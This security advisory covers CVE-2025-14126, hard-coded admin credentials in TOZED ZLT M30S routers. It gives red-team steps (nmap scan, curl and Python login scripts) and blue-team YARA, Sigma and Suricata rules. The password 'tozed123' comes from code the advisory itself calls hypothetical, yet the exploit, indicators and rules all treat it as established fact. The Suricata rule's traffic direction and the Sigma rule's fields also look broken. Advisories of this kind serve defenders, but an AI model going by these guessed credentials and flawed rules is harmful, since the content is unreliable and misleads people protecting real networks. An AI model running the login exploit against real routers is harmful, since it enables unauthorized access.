CVE-2025-14126

Executive Summary

CVE-2025-14126 is a critical vulnerability affecting the TOZED ZLT M30S and ZLT M30S PRO routers, specifically firmware versions 1.47 and 3.09.06. The issue involves hard-coded credentials within the web interface, allowing an attacker on the local network to gain unauthorized administrative access. With a CVSS score of 8.8, this vulnerability poses a severe risk to network integrity and confidentiality. The vendor has been unresponsive, leaving devices unpatched and exposed. Public exploit code is available, increasing the urgency for mitigation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded networking hardware.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Adjacent Network (AV:A) – requires local network access.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full device access.
• Integrity Impact: High (I:H) – ability to modify device configuration.
• Availability Impact: High (A:H) – potential for denial of service.

Threat Level: Critical. The combination of public exploit, unpatched status, and high impact makes this a top priority for organizations using these devices.

Deep Dive & Mechanics

The vulnerability resides in the web interface of the TOZED ZLT M30S and M30S PRO routers. The firmware contains hard-coded credentials (likely a username and password) that are not changeable by the user. These credentials are embedded in the source code or configuration files of the web server component.

An attacker on the same local network can:

1. Scan for the device's IP address (typically 192.168.x.x).
2. Access the web interface (port 80 or 443).
3. Use the hard-coded credentials to log in with administrative privileges.

Once authenticated, the attacker can:

• Change DNS settings to redirect traffic.
• Modify firewall rules.
• Extract Wi-Fi passwords.
• Install malicious firmware.
• Use the device as a pivot point for further network attacks.

The hard-coded credentials are likely stored in a file such as /etc/shadow, /etc/passwd, or within the web application's configuration (e.g., config.xml, settings.cfg). The exact location is not publicly documented, but the exploit confirms the presence of a default admin account.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.47 / 3.09.06): The web interface authentication logic contains a hard-coded credential check. For example, in a hypothetical PHP or CGI script:

// Vulnerable: hard-coded credentials
$admin_user = "admin";
$admin_pass = "tozed123";

if ($_POST['username'] == $admin_user && $_POST['password'] == $admin_pass) {
    // Grant admin access
}

Patched Code (Hypothetical): A patched version would remove hard-coded credentials and implement a proper user management system:

// Patched: use database or config file with hashed passwords
$stored_hash = get_user_hash($_POST['username']);
if (password_verify($_POST['password'], $stored_hash)) {
    // Grant admin access
}

Since no patch is available, users must rely on workarounds.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Attacker machine on the same LAN as the target router.
• Target router IP (e.g., 192.168.1.1).
• Python 3 or curl installed.

Exploit Steps:

1. Identify the router:

   nmap -p 80,443 192.168.1.0/24 --open | grep -B4 "ZLT"
   

2. Attempt login with hard-coded credentials:

   curl -X POST http://192.168.1.1/login.cgi \
     -d "username=admin&password=tozed123" \
     -c cookies.txt
   

3. If successful, access admin panel:

   curl -b cookies.txt http://192.168.1.1/admin.html
   

Alternative Exploit (Python):

import requests

target = "http://192.168.1.1"
creds = {"username": "admin", "password": "tozed123"}

session = requests.Session()
login = session.post(f"{target}/login.cgi", data=creds)

if "Login failed" not in login.text:
    print("[+] Login successful!")
    admin_page = session.get(f"{target}/admin.html")
    print(admin_page.text)
else:
    print("[-] Login failed.")

Blue Team (Defense & Detection)

Detection:

• Monitor for repeated failed login attempts to the router's web interface.
• Alert on successful login from unexpected IPs (e.g., non-admin workstations).
• Use network monitoring to detect anomalous HTTP POST requests to /login.cgi.

Mitigation:

• Isolate the router on a separate VLAN with strict access controls.
• Disable remote management if not required.
• Implement MAC address filtering for administrative access.
• Monitor for known exploit patterns (e.g., specific POST data).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /login.cgi with username=admin&password=tozed123.
• Successful HTTP 200 responses from /admin.html or /config.cgi.
• Unusual outbound connections from the router to unknown IPs (e.g., DNS changes).

Host IOCs (on the router):

• Presence of default credentials in /etc/shadow or /etc/passwd.
• Unauthorized changes to /etc/config/dhcp or /etc/config/firewall.
• New SSH keys in /etc/dropbear/authorized_keys.

File IOCs:

• Hash of known vulnerable firmware: sha256sum firmware.bin (if available).
• Suspicious files in /tmp or /var (e.g., exploit.sh).

Detection Engineering

YARA Rule

rule CVE_2025_14126_Hardcoded_Creds {
    meta:
        description = "Detects hard-coded credentials in TOZED ZLT M30S firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14126"
    strings:
        $cred1 = "admin:tozed123" ascii wide nocase
        $cred2 = "username=admin&password=tozed123" ascii wide nocase
        $cred3 = "tozed123" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Detection of CVE-2025-14126 Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit hard-coded credentials in TOZED ZLT M30S routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/login.cgi'
        cs-username: 'admin'
        cs-password: 'tozed123'
    condition: selection
falsepositives:
    - Legitimate admin login (if credentials are changed)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14126 TOZED ZLT M30S Hardcoded Credential Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login.cgi"; http_uri;
    content:"username=admin"; http_client_body;
    content:"password=tozed123"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the router on a separate VLAN with no access to critical systems.
2. Change default credentials: If the web interface allows, change the admin password immediately. If not, consider the device compromised.
3. Disable remote management: Block port 80/443 from WAN access.
4. Monitor logs: Enable logging on the router and monitor for suspicious activity.

Long-Term Solutions:

• Replace the device: Since the vendor is unresponsive, replace the router with a supported alternative.
• Apply firewall rules: Block all inbound traffic to the router except from trusted admin IPs.
• Use a VPN: Require VPN access for any administrative tasks.
• Firmware update: Check the vendor's website periodically for a patch. If none appears, consider open-source firmware (e.g., OpenWrt) if compatible.

Workaround:

• If replacement is not possible, create a custom firewall rule to drop all traffic to the router's web interface except from a single, highly restricted admin workstation.

Valters IT
Securing Digital Frontiers